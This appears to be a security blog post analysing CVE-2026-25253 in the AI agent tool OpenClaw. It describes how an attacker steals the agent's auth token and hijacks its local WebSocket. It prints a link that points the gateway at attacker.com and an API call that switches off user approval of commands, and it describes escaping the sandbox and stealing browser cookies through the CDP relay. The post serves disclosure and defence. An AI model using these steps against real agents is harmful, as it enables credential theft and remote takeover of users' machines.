A critical security vulnerability has recently been discovered in the AI agent tool OpenClaw (formerly Clawdbot/Moltbot). This vulnerability, designated CVE-2026-25253, allows an attacker to remotely seize control of the system with just a single click by the victim on a malicious link (1-Click).

Based on the analysis disclosed by the DepthFirst and ZeroPath teams, this article provides a detailed analysis of the technical principles behind how this vulnerability leads from authentication token leakage to remote code execution (RCE).

1. Vulnerability Overview

CVE-ID: CVE-2026-25253
Affected Versions: v2026.1.24-1 and below
Severity: Critical (CVSS estimated at 8.8 ~ 9.8)
Attack Vector: Visiting a malicious website or clicking a malicious link

This attack is not a single bug but an exploit chain linked to multiple logical flaws.

2. Exploit Chain Analysis

The attack process is largely divided into three stages: Token Leakage → WebSocket Hijacking → Sandbox Bypassing and RCE.

Stage 1: Authentication Token Leak (Auth Token Leak)

OpenClaw had a feature that allowed changing the Gateway connection settings via URL query parameters.

Settings Change: app-settings.ts accepts the gatewayUrl parameter without validation and stores it in the local settings.
Automatic Connection: When the settings are changed, app-lifecycle.ts immediately attempts to connect to the new Gateway.
Token Transmission: During the handshake process upon connection, the sensitive authToken is automatically transmitted.

Attackers use this to lure victims to a URL like this:

http://victim-openclaw-dashboard.com?gatewayUrl=ws://attacker.com:8080

When the victim clicks on this link, the OpenClaw dashboard attempts to connect to the attacker's server (attacker.com), handing over the authentication token to the attacker.

Stage 2: Localhost Bypass (CSWSH)

Most OpenClaw users run the agent in a local (localhost) environment. Even if an attacker obtains a token, they cannot directly access the victim's localhost from the external internet.

However, a second vulnerability appears here: Lack of WebSocket Origin verification.

OpenClaw's WebSocket server does not verify the Origin header of the request. This enables CSWSH (Cross-Site WebSocket Hijacking) attacks.

While the victim is on the attacker's website (attacker.com),
The attacker's JavaScript code attempts to establish a WebSocket connection to ws://localhost:18789 through the victim's browser.
It passes authentication using the previously stolen authToken.

Unlike HTTP requests, browsers do not strictly enforce SOP (Same Origin Policy) for WebSocket connections, and the lack of server-side verification allows the connection to be established.

Stage 3: Sandbox Bypassing and RCE

Once the attacker has successfully connected, they now have the authority to call the OpenClaw API. However, OpenClaw has safeguards in place, such as requiring user approval when executing dangerous commands or running them within a container sandbox.

However, since the attacker has the administrator token, they can disable these protections through the API.

Disable User Approval:

{
  "method": "exec.approvals.set",
  "params": { "defaults": { "ask": "off" } }
}

컨테이너 탈출: 실행 호스트를 gateway(호스트 머신)로 변경.

마지막으로, 제약이 사라진 상태에서 임의의 명령어를 실행합니다.

 
## 3. Another Threat: Exploiting Browser Relay
 
The ZeroPath team discovered another vector. OpenClaw's relay server for browser control (`/cdp` endpoint) also lacks Origin verification, allowing malicious websites to access the local WebSocket (`ws://127.0.0.1:18792/cdp`) and control the **Chrome DevTools Protocol**.
 
This allows attackers to steal cookies or sessions from other tabs (Gmail, internal networks, etc.) open in the victim's browser.
 
## 4. Response and Lessons Learned
 
The OpenClaw team immediately deployed a patch upon receiving the report of the vulnerability.
*   **Patch Contents**: Added user confirmation process when changing Gateway URL, strengthened WebSocket Origin verification, restricted access to sandbox settings API, etc.
*   **User Actions**: Update to the latest version immediately, and if you were using an older version, you need to reissue the authentication token.
 
This case teaches us that **"features designed for convenience (changing settings via URL) can become the biggest holes in security."** It also reminds us once again that `Origin` header verification is essential to prepare for CSWSH attacks, even for services running on localhost.
 
*Reference:*
- [DepthFirst: 1-Click RCE To Steal Your Moltbot Data](https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys)
- [ZeroPath: Malicious Websites Can Exploit Openclaw](https://zeropath.com/blog/openclaw-clawdbot-credential-theft-vulnerability)

댓글